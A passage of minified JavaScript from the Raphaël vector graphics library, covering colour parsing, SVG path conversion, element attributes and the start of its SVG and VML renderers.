c,d,e,g,h,i,j,k=b.match(N);if(k){if(k[2]){g=T(k[2].substring(5),16);e=T(k[2].substring(3,5),16);d=T(k[2].substring(1,3),16)}if(k[3]){g=T((i=k[3].charAt(3))+i,16);e=T((i=k[3].charAt(2))+i,16);d=T((i=k[3].charAt(1))+i,16)}if(k[4]){j=k[4][s]($);d=S(j[0]);j[0].slice(-1)=="%"&&(d*=2.55);e=S(j[1]);j[1].slice(-1)=="%"&&(e*=2.55);g=S(j[2]);j[2].slice(-1)=="%"&&(g*=2.55);k[1].toLowerCase().slice(0,4)=="rgba"&&(h=S(j[3]));j[3]&&j[3].slice(-1)=="%"&&(h/=100)}if(k[5]){j=k[5][s]($);d=S(j[0]);j[0].slice(-1)=="%"&&(d*=2.55);e=S(j[1]);j[1].slice(-1)=="%"&&(e*=2.55);g=S(j[2]);j[2].slice(-1)=="%"&&(g*=2.55);(j[0].slice(-3)=="deg"||j[0].slice(-1)=="°")&&(d/=360);k[1].toLowerCase().slice(0,4)=="hsba"&&(h=S(j[3]));j[3]&&j[3].slice(-1)=="%"&&(h/=100);return a.hsb2rgb(d,e,g,h)}if(k[6]){j=k[6][s]($);d=S(j[0]);j[0].slice(-1)=="%"&&(d*=2.55);e=S(j[1]);j[1].slice(-1)=="%"&&(e*=2.55);g=S(j[2]);j[2].slice(-1)=="%"&&(g*=2.55);(j[0].slice(-3)=="deg"||j[0].slice(-1)=="°")&&(d/=360);k[1].toLowerCase().slice(0,4)=="hsla"&&(h=S(j[3]));j[3]&&j[3].slice(-1)=="%"&&(h/=100);return a.hsl2rgb(d,e,g,h)}k={r:d,g:e,b:g};k.hex="#"+(16777216|g|e<<8|d<<16).toString(16).slice(1);a.is(h,"finite")&&(k.opacity=h);return k}return{r:-1,g:-1,b:-1,hex:"none",error:1}},a);a.getColor=function(a){var b=this.getColor.start=this.getColor.start||{h:0,s:1,b:a||0.75},c=this.hsb2rgb(b.h,b.s,b.b);b.h+=0.075;if(b.h>1){b.h=0;b.s-=0.2;b.s<=0&&(this.getColor.start={h:0,s:1,b:b.b})}return c.hex};a.getColor.reset=function(){delete this.start};a.parsePathString=bm(function(b){if(!b)return null;var c={a:7,c:6,h:1,l:2,m:2,q:4,s:4,t:2,v:1,z:0},d=[];a.is(b,G)&&a.is(b[0],G)&&(d=bo(b));d[w]||r(b)[Y](bb,function(a,b,e){var f=[],g=x.call(b);e[Y](bc,function(a,b){b&&f[L](+b)});if(g=="m"&&f[w]>2){d[L]([b][n](f.splice(0,2)));g="l";b=b=="m"?"l":"L"}while(f[w]>=c[g]){d[L]([b][n](f.splice(0,c[g])));if(!c[g])break}});d[H]=a._path2string;return d});a.findDotsAtSegment=function(a,b,c,d,e,f,g,h,i){var j=1-i,k=C(j,3)*a+C(j,2)*3*i*c+j*3*i*i*e+C(i,3)*g,l=C(j,3)*b+C(j,2)*3*i*d+j*3*i*i*f+C(i,3)*h,m=a+2*i*(c-a)+i*i*(e-2*c+a),n=b+2*i*(d-b)+i*i*(f-2*d+b),o=c+2*i*(e-c)+i*i*(g-2*e+c),p=d+2*i*(f-d)+i*i*(h-2*f+d),q=(1-i)*a+i*c,r=(1-i)*b+i*d,s=(1-i)*e+i*g,t=(1-i)*f+i*h,u=90-y.atan((m-o)/(n-p))*180/D;(m>o||n<p)&&(u+=180);return{x:k,y:l,m:{x:m,y:n},n:{x:o,y:p},start:{x:q,y:r},end:{x:s,y:t},alpha:u}};var bn=bm(function(a){if(!a)return{x:0,y:0,width:0,height:0};a=bw(a);var b=0,c=0,d=[],e=[],f;for(var g=0,h=a[w];g<h;g++){f=a[g];if(f[0]=="M"){b=f[1];c=f[2];d[L](b);e[L](c)}else{var i=bv(b,c,f[1],f[2],f[3],f[4],f[5],f[6]);d=d[n](i.min.x,i.max.x);e=e[n](i.min.y,i.max.y);b=f[5];c=f[6]}}var j=A[m](0,d),k=A[m](0,e);return{x:j,y:k,width:z[m](0,d)-j,height:z[m](0,e)-k}}),bo=function(b){var c=[];if(!a.is(b,G)||!a.is(b&&b[0],G))b=a.parsePathString(b);for(var d=0,e=b[w];d<e;d++){c[d]=[];for(var f=0,g=b[d][w];f<g;f++)c[d][f]=b[d][f]}c[H]=a._path2string;return c},bp=bm(function(b){if(!a.is(b,G)||!a.is(b&&b[0],G))b=a.parsePathString(b);var c=[],d=0,e=0,f=0,g=0,h=0;if(b[0][0]=="M"){d=b[0][1];e=b[0][2];f=d;g=e;h++;c[L](["M",d,e])}for(var i=h,j=b[w];i<j;i++){var k=c[i]=[],l=b[i];if(l[0]!=x.call(l[0])){k[0]=x.call(l[0]);switch(k[0]){case"a":k[1]=l[1];k[2]=l[2];k[3]=l[3];k[4]=l[4];k[5]=l[5];k[6]=+(l[6]-d).toFixed(3);k[7]=+(l[7]-e).toFixed(3);break;case"v":k[1]=+(l[1]-e).toFixed(3);break;case"m":f=l[1];g=l[2];default:for(var m=1,n=l[w];m<n;m++)k[m]=+(l[m]-(m%2?d:e)).toFixed(3)}}else{k=c[i]=[];if(l[0]=="m"){f=l[1]+d;g=l[2]+e}for(var o=0,p=l[w];o<p;o++)c[i][o]=l[o]}var q=c[i][w];switch(c[i][0]){case"z":d=f;e=g;break;case"h":d+=+c[i][q-1];break;case"v":e+=+c[i][q-1];break;default:d+=+c[i][q-2];e+=+c[i][q-1]}}c[H]=a._path2string;return c},0,bo),bq=bm(function(b){if(!a.is(b,G)||!a.is(b&&b[0],G))b=a.parsePathString(b);var c=[],d=0,e=0,f=0,g=0,h=0;if(b[0][0]=="M"){d=+b[0][1];e=+b[0][2];f=d;g=e;h++;c[0]=["M",d,e]}for(var i=h,j=b[w];i<j;i++){var k=c[i]=[],l=b[i];if(l[0]!=V.call(l[0])){k[0]=V.call(l[0]);switch(k[0]){case"A":k[1]=l[1];k[2]=l[2];k[3]=l[3];k[4]=l[4];k[5]=l[5];k[6]=+(l[6]+d);k[7]=+(l[7]+e);break;case"V":k[1]=+l[1]+e;break;case"H":k[1]=+l[1]+d;break;case"M":f=+l[1]+d;g=+l[2]+e;default:for(var m=1,n=l[w];m<n;m++)k[m]=+l[m]+(m%2?d:e)}}else for(var o=0,p=l[w];o<p;o++)c[i][o]=l[o];switch(k[0]){case"Z":d=f;e=g;break;case"H":d=k[1];break;case"V":e=k[1];break;case"M":f=c[i][c[i][w]-2];g=c[i][c[i][w]-1];default:d=c[i][c[i][w]-2];e=c[i][c[i][w]-1]}}c[H]=a._path2string;return c},null,bo),br=function(a,b,c,d){return[a,b,c,d,c,d]},bs=function(a,b,c,d,e,f){var g=1/3,h=2/3;return[g*a+h*c,g*b+h*d,g*e+h*c,g*f+h*d,e,f]},bt=function(a,b,c,d,e,f,g,h,i,j){var k=D*120/180,l=D/180*(+e||0),m=[],o,p=bm(function(a,b,c){var d=a*y.cos(c)-b*y.sin(c),e=a*y.sin(c)+b*y.cos(c);return{x:d,y:e}});if(j){G=j[0];H=j[1];E=j[2];F=j[3]}else{o=p(a,b,-l);a=o.x;b=o.y;o=p(h,i,-l);h=o.x;i=o.y;var q=y.cos(D/180*e),r=y.sin(D/180*e),t=(a-h)/2,u=(b-i)/2,x=t*t/(c*c)+u*u/(d*d);if(x>1){x=y.sqrt(x);c=x*c;d=x*d}var z=c*c,A=d*d,C=(f==g?-1:1)*y.sqrt(B((z*A-z*u*u-A*t*t)/(z*u*u+A*t*t))),E=C*c*u/d+(a+h)/2,F=C*-d*t/c+(b+i)/2,G=y.asin(((b-F)/d).toFixed(9)),H=y.asin(((i-F)/d).toFixed(9));G=a<E?D-G:G;H=h<E?D-H:H;G<0&&(G=D*2+G);H<0&&(H=D*2+H);g&&G>H&&(G=G-D*2);!g&&H>G&&(H=H-D*2)}var I=H-G;if(B(I)>k){var J=H,K=h,L=i;H=G+k*(g&&H>G?1:-1);h=E+c*y.cos(H);i=F+d*y.sin(H);m=bt(h,i,c,d,e,0,g,K,L,[H,J,E,F])}I=H-G;var M=y.cos(G),N=y.sin(G),O=y.cos(H),P=y.sin(H),Q=y.tan(I/4),R=4/3*c*Q,S=4/3*d*Q,T=[a,b],U=[a+R*N,b-S*M],V=[h+R*P,i-S*O],W=[h,i];U[0]=2*T[0]-U[0];U[1]=2*T[1]-U[1];{if(j)return[U,V,W][n](m);m=[U,V,W][n](m)[v]()[s](",");var X=[];for(var Y=0,Z=m[w];Y<Z;Y++)X[Y]=Y%2?p(m[Y-1],m[Y],l).y:p(m[Y],m[Y+1],l).x;return X}},bu=function(a,b,c,d,e,f,g,h,i){var j=1-i;return{x:C(j,3)*a+C(j,2)*3*i*c+j*3*i*i*e+C(i,3)*g,y:C(j,3)*b+C(j,2)*3*i*d+j*3*i*i*f+C(i,3)*h}},bv=bm(function(a,b,c,d,e,f,g,h){var i=e-2*c+a-(g-2*e+c),j=2*(c-a)-2*(e-c),k=a-c,l=(-j+y.sqrt(j*j-4*i*k))/2/i,n=(-j-y.sqrt(j*j-4*i*k))/2/i,o=[b,h],p=[a,g],q;B(l)>"1e12"&&(l=0.5);B(n)>"1e12"&&(n=0.5);if(l>0&&l<1){q=bu(a,b,c,d,e,f,g,h,l);p[L](q.x);o[L](q.y)}if(n>0&&n<1){q=bu(a,b,c,d,e,f,g,h,n);p[L](q.x);o[L](q.y)}i=f-2*d+b-(h-2*f+d);j=2*(d-b)-2*(f-d);k=b-d;l=(-j+y.sqrt(j*j-4*i*k))/2/i;n=(-j-y.sqrt(j*j-4*i*k))/2/i;B(l)>"1e12"&&(l=0.5);B(n)>"1e12"&&(n=0.5);if(l>0&&l<1){q=bu(a,b,c,d,e,f,g,h,l);p[L](q.x);o[L](q.y)}if(n>0&&n<1){q=bu(a,b,c,d,e,f,g,h,n);p[L](q.x);o[L](q.y)}return{min:{x:A[m](0,p),y:A[m](0,o)},max:{x:z[m](0,p),y:z[m](0,o)}}}),bw=bm(function(a,b){var c=bq(a),d=b&&bq(b),e={x:0,y:0,bx:0,by:0,X:0,Y:0,qx:null,qy:null},f={x:0,y:0,bx:0,by:0,X:0,Y:0,qx:null,qy:null},g=function(a,b){var c,d;if(!a)return["C",b.x,b.y,b.x,b.y,b.x,b.y];!(a[0]in{T:1,Q:1})&&(b.qx=b.qy=null);switch(a[0]){case"M":b.X=a[1];b.Y=a[2];break;case"A":a=["C"][n](bt[m](0,[b.x,b.y][n](a.slice(1))));break;case"S":c=b.x+(b.x-(b.bx||b.x));d=b.y+(b.y-(b.by||b.y));a=["C",c,d][n](a.slice(1));break;case"T":b.qx=b.x+(b.x-(b.qx||b.x));b.qy=b.y+(b.y-(b.qy||b.y));a=["C"][n](bs(b.x,b.y,b.qx,b.qy,a[1],a[2]));break;case"Q":b.qx=a[1];b.qy=a[2];a=["C"][n](bs(b.x,b.y,a[1],a[2],a[3],a[4]));break;case"L":a=["C"][n](br(b.x,b.y,a[1],a[2]));break;case"H":a=["C"][n](br(b.x,b.y,a[1],b.y));break;case"V":a=["C"][n](br(b.x,b.y,b.x,a[1]));break;case"Z":a=["C"][n](br(b.x,b.y,b.X,b.Y));break}return a},h=function(a,b){if(a[b][w]>7){a[b].shift();var e=a[b];while(e[w])a.splice(b++,0,["C"][n](e.splice(0,6)));a.splice(b,1);k=z(c[w],d&&d[w]||0)}},i=function(a,b,e,f,g){if(a&&b&&a[g][0]=="M"&&b[g][0]!="M"){b.splice(g,0,["M",f.x,f.y]);e.bx=0;e.by=0;e.x=a[g][1];e.y=a[g][2];k=z(c[w],d&&d[w]||0)}};for(var j=0,k=z(c[w],d&&d[w]||0);j<k;j++){c[j]=g(c[j],e);h(c,j);d&&(d[j]=g(d[j],f));d&&h(d,j);i(c,d,e,f,j);i(d,c,f,e,j);var l=c[j],o=d&&d[j],p=l[w],q=d&&o[w];e.x=l[p-2];e.y=l[p-1];e.bx=S(l[p-4])||e.x;e.by=S(l[p-3])||e.y;f.bx=d&&(S(o[q-4])||f.x);f.by=d&&(S(o[q-3])||f.y);f.x=d&&o[q-2];f.y=d&&o[q-1]}return d?[c,d]:c},null,bo),bx=bm(function(b){var c=[];for(var d=0,e=b[w];d<e;d++){var f={},g=b[d].match(/^([^:]*):?([\d\.]*)/);f.color=a.getRGB(g[1]);if(f.color.error)return null;f.color=f.color.hex;g[2]&&(f.offset=g[2]+"%");c[L](f)}for(d=1,e=c[w]-1;d<e;d++){if(!c[d].offset){var h=S(c[d-1].offset||0),i=0;for(var j=d+1;j<e;j++){if(c[j].offset){i=c[j].offset;break}}if(!i){i=100;j=e}i=S(i);var k=(i-h)/(j-d+1);for(;d<j;d++){h+=k;c[d].offset=h+"%"}}}return c}),by=function(b,c,d,e){var f;if(a.is(b,F)||a.is(b,"object")){f=a.is(b,F)?g.getElementById(b):b;if(f.tagName)return c==null?{container:f,width:f.style.pixelWidth||f.offsetWidth,height:f.style.pixelHeight||f.offsetHeight}:{container:f,width:c,height:d}}else return{container:1,x:b,y:c,width:d,height:e}},bz=function(a,b){var c=this;for(var d in b){if(b[f](d)&&!(d in a))switch(typeof b[d]){case"function":(function(b){a[d]=a===c?b:function(){return b[m](c,arguments)}})(b[d]);break;case"object":a[d]=a[d]||{};bz.call(this,a[d],b[d]);break;default:a[d]=b[d];break}}},bA=function(a,b){a==b.top&&(b.top=a.prev);a==b.bottom&&(b.bottom=a.next);a.next&&(a.next.prev=a.prev);a.prev&&(a.prev.next=a.next)},bB=function(a,b){if(b.top===a)return;bA(a,b);a.next=null;a.prev=b.top;b.top.next=a;b.top=a},bC=function(a,b){if(b.bottom===a)return;bA(a,b);a.next=b.bottom;a.prev=null;b.bottom.prev=a;b.bottom=a},bD=function(a,b,c){bA(a,c);b==c.top&&(c.top=a);b.next&&(b.next.prev=a);a.next=b.next;a.prev=b;b.next=a},bE=function(a,b,c){bA(a,c);b==c.bottom&&(c.bottom=a);b.prev&&(b.prev.next=a);a.prev=b.prev;b.prev=a;a.next=b},bF=function(a){return function(){throw new Error("Raphaël: you are calling to method “"+a+"” of removed object")}};a.pathToRelative=bp;if(a.svg){k.svgns="http://www.w3.org/2000/svg";k.xlink="http://www.w3.org/1999/xlink";Q=function(a){return+a+(~(~a)===a)*0.5};var bG=function(a,b){if(b)for(var c in b)b[f](c)&&a[R](c,r(b[c]));else{a=g.createElementNS(k.svgns,a);a.style.webkitTapHighlightColor="rgba(0,0,0,0)";return a}};a[H]=function(){return"Your browser supports SVG.\nYou are running Raphaël "+this.version};var bH=function(a,b){var c=bG("path");b.canvas&&b.canvas[l](c);var d=new bN(c,b);d.type="path";bK(d,{fill:"none",stroke:"#000",path:a});return d},bI=function(a,b,c){var d="linear",e=0.5,f=0.5,h=a.style;b=r(b)[Y](bd,function(a,b,c){d="radial";if(b&&c){e=S(b);f=S(c);var g=(f>0.5)*2-1;C(e-0.5,2)+C(f-0.5,2)>0.25&&(f=y.sqrt(0.25-C(e-0.5,2))*g+0.5)&&f!=0.5&&(f=f.toFixed(5)-0.00001*g)}return p});b=b[s](/\s*\-\s*/);if(d=="linear"){var i=b.shift();i=-S(i);if(isNaN(i))return null;var j=[0,0,y.cos(i*D/180),y.sin(i*D/180)],k=1/(z(B(j[2]),B(j[3]))||1);j[2]*=k;j[3]*=k;if(j[2]<0){j[0]=-j[2];j[2]=0}if(j[3]<0){j[1]=-j[3];j[3]=0}}var m=bx(b);if(!m)return null;var n=a.getAttribute(I);n=n.match(/^url\(#(.*)\)$/);n&&c.defs.removeChild(g.getElementById(n[1]));var o=bG(d+"Gradient");o.id=bh();bG(o,d=="radial"?{fx:e,fy:f}:{x1:j[0],y1:j[1],x2:j[2],y2:j[3]});c.defs[l](o);for(var q=0,t=m[w];q<t;q++){var u=bG("stop");bG(u,{offset:m[q].offset?m[q].offset:q?"100%":"0%","stop-color":m[q].color||"#fff"});o[l](u)}bG(a,{fill:"url(#"+o.id+")",opacity:1,"fill-opacity":1});h.fill=p;h.opacity=1;h.fillOpacity=1;return 1},bJ=function(b){var c=b.getBBox();bG(b.pattern,{patternTransform:a.format("translate({0},{1})",c.x,c.y)})},bK=function(c,d){var e={"":[0],none:[0],"-":[3,1],".":[1,1],"-.":[3,1,1,1],"-..":[3,1,1,1,1,1],". ":[1,3],"- ":[4,3],"--":[8,3],"- .":[4,3,1,3],"--.":[8,3,1,3],"--..":[8,3,1,3,1,3]},h=c.node,i=c.attrs,j=c.rotate(),k=function(a,b){b=e[x.call(b)];if(b){var c=a.attrs["stroke-width"]||"1",f=({round:c,square:c,butt:0})[a.attrs["stroke-linecap"]||d["stroke-linecap"]]||0,g=[],i=b[w];while(i--)g[i]=b[i]*c+(i%2?1:-1)*f;bG(h,{"stroke-dasharray":g[v](",")})}};d[f]("rotation")&&(j=d.rotation);var m=r(j)[s](b);if(m.length-1){m[1]=+m[1];m[2]=+m[2]}else m=null;S(j)&&c.rotate(0,true);for(var n in d){if(d[f](n)){if(!W[f](n))continue;var o=d[n];i[n]=o;switch(n){case"blur":c.blur(o);break;case"rotation":c.rotate(o,true);break;case"href":case"title":case"target":var t=h.parentNode;if(x.call(t.tagName)!="a"){var u=bG("a");t.insertBefore(u,h);u[l](h);t=u}n=="target"&&o=="blank"?t.setAttributeNS(c.paper.xlink,"show","new"):t.setAttributeNS(c.paper.xlink,n,o);break;case"cursor":h.style.cursor=o;break;case"clip-rect":var y=r(o)[s](b);if(y[w]==4){c.clip&&c.clip.parentNode.parentNode.removeChild(c.clip.parentNode);var z=bG("clipPath"),A=bG("rect");z.id=bh();bG(A,{x:y[0],y:y[1],width:y[2],height:y[3]});z[l](A);c.paper.defs[l](z);bG(h,{"clip-path":"url(#"+z.id+")"});c.clip=A}if(!o){var B=g.getElementById(h.getAttribute("clip-path")[Y](/(^url\(#|\)$)/g,p));B&&B.parentNode.removeChild(B);bG(h,{"clip-path":p});delete c.clip}break;case"path":c.type=="path"&&bG(h,{d:o?i.path=bq(o):"M0,0"});break;case"width":h[R](n,o);if(i.fx){n="x";o=i.x}else break;case"x":i.fx&&(o=-i.x-(i.width||0));case"rx":if(n=="rx"&&c.type=="rect")break;case"cx":m&&(n=="x"||n=="cx")&&(m[1]+=o-i[n]);h[R](n,o);c.pattern&&bJ(c);break;case"height":h[R](n,o);if(i.fy){n="y";o=i.y}else break;case"y":i.fy&&(o=-i.y-(i.height||0));case"ry":if(n=="ry"&&c.type=="rect")break;case"cy":m&&(n=="y"||n=="cy")&&(m[2]+=o-i[n]);h[R](n,o);c.pattern&&bJ(c);break;case"r":c.type=="rect"?bG(h,{rx:o,ry:o}):h[R](n,o);break;case"src":c.type=="image"&&h.setAttributeNS(c.paper.xlink,"href",o);break;case"stroke-width":h.style.strokeWidth=o;h[R](n,o);i["stroke-dasharray"]&&k(c,i["stroke-dasharray"]);break;case"stroke-dasharray":k(c,o);break;case"translation":var C=r(o)[s](b);C[0]=+C[0]||0;C[1]=+C[1]||0;if(m){m[1]+=C[0];m[2]+=C[1]}cz.call(c,C[0],C[1]);break;case"scale":C=r(o)[s](b);c.scale(+C[0]||1,+C[1]||+C[0]||1,isNaN(S(C[2]))?null:+C[2],isNaN(S(C[3]))?null:+C[3]);break;case I:var D=r(o).match(M);if(D){z=bG("pattern");var E=bG("image");z.id=bh();bG(z,{x:0,y:0,patternUnits:"userSpaceOnUse",height:1,width:1});bG(E,{x:0,y:0});E.setAttributeNS(c.paper.xlink,"href",D[1]);z[l](E);var F=g.createElement("img");F.style.cssText="position:absolute;left:-9999em;top-9999em";F.onload=function(){bG(z,{width:this.offsetWidth,height:this.offsetHeight});bG(E,{width:this.offsetWidth,height:this.offsetHeight});g.body.removeChild(this);c.paper.safari()};g.body[l](F);F.src=D[1];c.paper.defs[l](z);h.style.fill="url(#"+z.id+")";bG(h,{fill:"url(#"+z.id+")"});c.pattern=z;c.pattern&&bJ(c);break}var G=a.getRGB(o);if(G.error)if((({circle:1,ellipse:1})[f](c.type)||r(o).charAt()!="r")&&bI(h,o,c.paper)){i.gradient=o;i.fill="none";break}else{delete d.gradient;delete i.gradient;!a.is(i.opacity,"undefined")&&a.is(d.opacity,"undefined")&&bG(h,{opacity:i.opacity});!a.is(i["fill-opacity"],"undefined")&&a.is(d["fill-opacity"],"undefined")&&bG(h,{"fill-opacity":i["fill-opacity"]})}G[f]("opacity")&&bG(h,{"fill-opacity":G.opacity>1?G.opacity/100:G.opacity});case"stroke":G=a.getRGB(o);h[R](n,G.hex);n=="stroke"&&G[f]("opacity")&&bG(h,{"stroke-opacity":G.opacity>1?G.opacity/100:G.opacity});break;case"gradient":(({circle:1,ellipse:1})[f](c.type)||r(o).charAt()!="r")&&bI(h,o,c.paper);break;case"opacity":i.gradient&&!i[f]("stroke-opacity")&&bG(h,{"stroke-opacity":o>1?o/100:o});case"fill-opacity":if(i.gradient){var H=g.getElementById(h.getAttribute(I)[Y](/^url\(#|\)$/g,p));if(H){var J=H.getElementsByTagName("stop");J[J[w]-1][R]("stop-opacity",o)}break}default:n=="font-size"&&(o=T(o,10)+"px");var K=n[Y](/(\-.)/g,function(a){return V.call(a.substring(1))});h.style[K]=o;h[R](n,o);break}}}bM(c,d);m?c.rotate(m.join(q)):S(j)&&c.rotate(j,true)},bL=1.2,bM=function(b,c){if(b.type!="text"||!(c[f]("text")||c[f]("font")||c[f]("font-size")||c[f]("x")||c[f]("y")))return;var d=b.attrs,e=b.node,h=e.firstChild?T(g.defaultView.getComputedStyle(e.firstChild,p).getPropertyValue("font-size"),10):10;if(c[f]("text")){d.text=c.text;while(e.firstChild)e.removeChild(e.firstChild);var i=r(c.text)[s]("\n");for(var j=0,k=i[w];j<k;j++)if(i[j]){var m=bG("tspan");j&&bG(m,{dy:h*bL,x:d.x});m[l](g.createTextNode(i[j]));e[l](m)}}else{i=e.getElementsByTagName("tspan");for(j=0,k=i[w];j<k;j++)j&&bG(i[j],{dy:h*bL,x:d.x})}bG(e,{y:d.y});var n=b.getBBox(),o=d.y-(n.y+n.height/2);o&&a.is(o,"finite")&&bG(e,{y:d.y+o})},bN=function(b,c){var d=0,e=0;this[0]=b;this.id=a._oid++;this.node=b;b.raphael=this;this.paper=c;this.attrs=this.attrs||{};this.transformations=[];this._={tx:0,ty:0,rt:{deg:0,cx:0,cy:0},sx:1,sy:1};!c.bottom&&(c.bottom=this);this.prev=c.top;c.top&&(c.top.next=this);c.top=this;this.next=null},bO=bN[e];bN[e].rotate=function(c,d,e){if(this.removed)return this;if(c==null){if(this._.rt.cx)return[this._.rt.deg,this._.rt.cx,this._.rt.cy][v](q);return this._.rt.deg}var f=this.getBBox();c=r(c)[s](b);if(c[w]-1){d=S(c[1]);e=S(c[2])}c=S(c[0]);d!=null&&d!==false?this._.rt.deg=c:this._.rt.deg+=c;e==null&&(d=null);this._.rt.cx=d;this._.rt.cy=e;d=d==null?f.x+f.width/2:d;e=e==null?f.y+f.height/2:e;if(this._.rt.deg){this.transformations[0]=a.format("rotate({0} {1} {2})",this._.rt.deg,d,e);this.clip&&bG(this.clip,{transform:a.format("rotate({0} {1} {2})",-this._.rt.deg,d,e)})}else{this.transformations[0]=p;this.clip&&bG(this.clip,{transform:p})}bG(this.node,{transform:this.transformations[v](q)});return this};bN[e].hide=function(){!this.removed&&(this.node.style.display="none");return this};bN[e].show=function(){!this.removed&&(this.node.style.display="");return this};bN[e].remove=function(){if(this.removed)return;bA(this,this.paper);this.node.parentNode.removeChild(this.node);for(var a in this)delete this[a];this.removed=true};bN[e].getBBox=function(){if(this.removed)return this;if(this.type=="path")return bn(this.attrs.path);if(this.node.style.display=="none"){this.show();var a=true}var b={};try{b=this.node.getBBox()}catch(a){}finally{b=b||{}}if(this.type=="text"){b={x:b.x,y:Infinity,width:0,height:0};for(var c=0,d=this.node.getNumberOfChars();c<d;c++){var e=this.node.getExtentOfChar(c);e.y<b.y&&(b.y=e.y);e.y+e.height-b.y>b.height&&(b.height=e.y+e.height-b.y);e.x+e.width-b.x>b.width&&(b.width=e.x+e.width-b.x)}}a&&this.hide();return b};bN[e].attr=function(b,c){if(this.removed)return this;if(b==null){var d={};for(var e in this.attrs)this.attrs[f](e)&&(d[e]=this.attrs[e]);this._.rt.deg&&(d.rotation=this.rotate());(this._.sx!=1||this._.sy!=1)&&(d.scale=this.scale());d.gradient&&d.fill=="none"&&(d.fill=d.gradient)&&delete d.gradient;return d}if(c==null&&a.is(b,F)){if(b=="translation")return cz.call(this);if(b=="rotation")return this.rotate();if(b=="scale")return this.scale();if(b==I&&this.attrs.fill=="none"&&this.attrs.gradient)return this.attrs.gradient;return this.attrs[b]}if(c==null&&a.is(b,G)){var g={};for(var h=0,i=b.length;h<i;h++)g[b[h]]=this.attr(b[h]);return g}if(c!=null){var j={};j[b]=c}else b!=null&&a.is(b,"object")&&(j=b);for(var k in this.paper.customAttributes)if(this.paper.customAttributes[f](k)&&j[f](k)&&a.is(this.paper.customAttributes[k],"function")){var l=this.paper.customAttributes[k].apply(this,[][n](j[k]));this.attrs[k]=j[k];for(var m in l)l[f](m)&&(j[m]=l[m])}bK(this,j);return this};bN[e].toFront=function(){if(this.removed)return this;this.node.parentNode[l](this.node);var a=this.paper;a.top!=this&&bB(this,a);return this};bN[e].toBack=function(){if(this.removed)return this;if(this.node.parentNode.firstChild!=this.node){this.node.parentNode.insertBefore(this.node,this.node.parentNode.firstChild);bC(this,this.paper);var a=this.paper}return this};bN[e].insertAfter=function(a){if(this.removed)return this;var b=a.node||a[a.length-1].node;b.nextSibling?b.parentNode.insertBefore(this.node,b.nextSibling):b.parentNode[l](this.node);bD(this,a,this.paper);return this};bN[e].insertBefore=function(a){if(this.removed)return this;var b=a.node||a[0].node;b.parentNode.insertBefore(this.node,b);bE(this,a,this.paper);return this};bN[e].blur=function(a){var b=this;if(+a!==0){var c=bG("filter"),d=bG("feGaussianBlur");b.attrs.blur=a;c.id=bh();bG(d,{stdDeviation:+a||1.5});c.appendChild(d);b.paper.defs.appendChild(c);b._blur=c;bG(b.node,{filter:"url(#"+c.id+")"})}else{if(b._blur){b._blur.parentNode.removeChild(b._blur);delete b._blur;delete b.attrs.blur}b.node.removeAttribute("filter")}};var bP=function(a,b,c,d){var e=bG("circle");a.canvas&&a.canvas[l](e);var f=new bN(e,a);f.attrs={cx:b,cy:c,r:d,fill:"none",stroke:"#000"};f.type="circle";bG(e,f.attrs);return f},bQ=function(a,b,c,d,e,f){var g=bG("rect");a.canvas&&a.canvas[l](g);var h=new bN(g,a);h.attrs={x:b,y:c,width:d,height:e,r:f||0,rx:f||0,ry:f||0,fill:"none",stroke:"#000"};h.type="rect";bG(g,h.attrs);return h},bR=function(a,b,c,d,e){var f=bG("ellipse");a.canvas&&a.canvas[l](f);var g=new bN(f,a);g.attrs={cx:b,cy:c,rx:d,ry:e,fill:"none",stroke:"#000"};g.type="ellipse";bG(f,g.attrs);return g},bS=function(a,b,c,d,e,f){var g=bG("image");bG(g,{x:c,y:d,width:e,height:f,preserveAspectRatio:"none"});g.setAttributeNS(a.xlink,"href",b);a.canvas&&a.canvas[l](g);var h=new bN(g,a);h.attrs={x:c,y:d,width:e,height:f,src:b};h.type="image";return h},bT=function(a,b,c,d){var e=bG("text");bG(e,{x:b,y:c,"text-anchor":"middle"});a.canvas&&a.canvas[l](e);var f=new bN(e,a);f.attrs={x:b,y:c,"text-anchor":"middle",text:d,font:W.font,stroke:"none",fill:"#000"};f.type="text";bK(f,f.attrs);return f},bU=function(a,b){this.width=a||this.width;this.height=b||this.height;this.canvas[R]("width",this.width);this.canvas[R]("height",this.height);return this},bV=function(){var b=by[m](0,arguments),c=b&&b.container,d=b.x,e=b.y,f=b.width,h=b.height;if(!c)throw new Error("SVG container not found.");var i=bG("svg");d=d||0;e=e||0;f=f||512;h=h||342;bG(i,{xmlns:"http://www.w3.org/2000/svg",version:1.1,width:f,height:h});if(c==1){i.style.cssText="position:absolute;left:"+d+"px;top:"+e+"px";g.body[l](i)}else c.firstChild?c.insertBefore(i,c.firstChild):c[l](i);c=new j;c.width=f;c.height=h;c.canvas=i;bz.call(c,c,a.fn);c.clear();return c};k.clear=function(){var a=this.canvas;while(a.firstChild)a.removeChild(a.firstChild);this.bottom=this.top=null;(this.desc=bG("desc"))[l](g.createTextNode("Created with Raphaël"));a[l](this.desc);a[l](this.defs=bG("defs"))};k.remove=function(){this.canvas.parentNode&&this.canvas.parentNode.removeChild(this.canvas);for(var a in this)this[a]=bF(a)}}if(a.vml){var bW={M:"m",L:"l",C:"c",Z:"x",m:"t",l:"r",c:"v",z:"x"},bX=/([clmz]),?([^clmz]*)/gi,bY=/ progid:\S+Blur\([^\)]+\)/g,bZ=/-?[^,\s-]+/g,b$=1000+q+1000,b_=10,ca={path:1,rect:1},cb=function(a){var b=/[ahqstv]/ig,c=bq;r(a).match(b)&&(c=bw);b=/[clmz]/g;if(c==bq&&!r(a).match(b)){var d=r(a)[Y](bX,function(a,b,c){var d=[],e=x.call(b)=="m",f=bW[b];c[Y](bZ,function(a){if(e&&d[w]==2){f+=d+bW[b=="m"?"l":"L"];d=[]}d[L](Q(a*b_))});return f+d});return d}var e=c(a),f,g;d=[];for(var h=0,i=e[w];h<i;h++){f=e[h];g=x.call(e[h][0]);g=="z"&&(g="x");for(var j=1,k=f[w];j<k;j++)g+=Q(f[j]*b_)+(j!=k-1?",":p);d[L](g)}return d[v](q)};a[H]=function(){return"Your browser doesn’t support SVG. Falling down to VML.\nYou are running Raphaël "+this.version};bH=function(a,b){var c=cd("group");c.style.cssText="position:absolute;left:0;top:0;width:"+b.width+"px;height:"+b.height+"px";c.coordsize=b.coordsize;c.coordorigin=b.coordorigin;var d=cd("shape"),e=d.style;e.width=b.width+"px";e.height=b.height+"px";d.coordsize=b$;d.coordorigin=b.coordorigin;c[l](d);var f=new 